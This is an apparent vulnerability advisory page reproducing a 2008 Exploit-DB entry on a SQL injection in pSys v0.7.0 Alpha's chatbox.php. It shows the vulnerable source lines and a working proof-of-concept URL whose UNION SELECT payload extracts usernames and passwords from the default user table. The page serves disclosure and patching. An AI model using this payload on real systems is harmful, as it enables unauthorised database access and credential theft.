pSys v0.7.0 Alpha (chatbox.php) Remote SQL Injection

vendor:

pSys

by:

DNX

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: pSys

Affected Version From: 0.7.0 Alpha

Affected Version To: 0.7.0 Alpha

Patch Exists: YES

Related CWE: N/A

CPE: a:powie:psys

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

pSys v0.7.0 Alpha (chatbox.php) Remote SQL Injection

pSys is a module based PHP Script with a vulnerability in the chatbox.php file near line 42. An attacker can exploit this vulnerability by sending a malicious request to the server with the showid parameter. This will allow the attacker to execute arbitrary SQL commands on the server.

Mitigation:

Install updates from cvs (http://www.powie.de/cvsout)

Source

Exploit-DB raw data:

                             \#'#/
                             (-.-)
   ---------------------oOO---(_)---OOo--------------------
   | pSys v0.7.0 Alpha (chatbox.php) Remote SQL Injection |
   |           (works only with magic quotes = off)       |
   |                     coded by DNX                     |
   --------------------------------------------------------
[!] Discovered.: DNX
[!] Vendor.....: http://www.powie.de
[!] Detected...: 22.06.2008
[!] Reported...: 23.06.2008
[!] Response...: 23.06.2008

[!] Background.: pSys is a module based PHP Script

[!] Bug........: $showid in chatbox.php near line 42

                 12: $showid = $_REQUEST['showid']; //Einzelne ID anzeigen

                 41: if ($showid != '') {
                 42:     $sqlbefehl = "Select * FROM $tab_quick where id='$showid'";

[!] PoC........: http://127.0.0.1/psys/chatbox.php?showid=' union select 1,username,pwd,4,5,6,7,8 FROM ps_pfuser/*

                 "ps_" is default database prefix

[!] Solution...: Install updates from cvs (http://www.powie.de/cvsout)

[!] Greetingz..: h0yt3r, k1tk4t, pwndomina, e\o, daneo

# milw0rm.com [2008-06-30]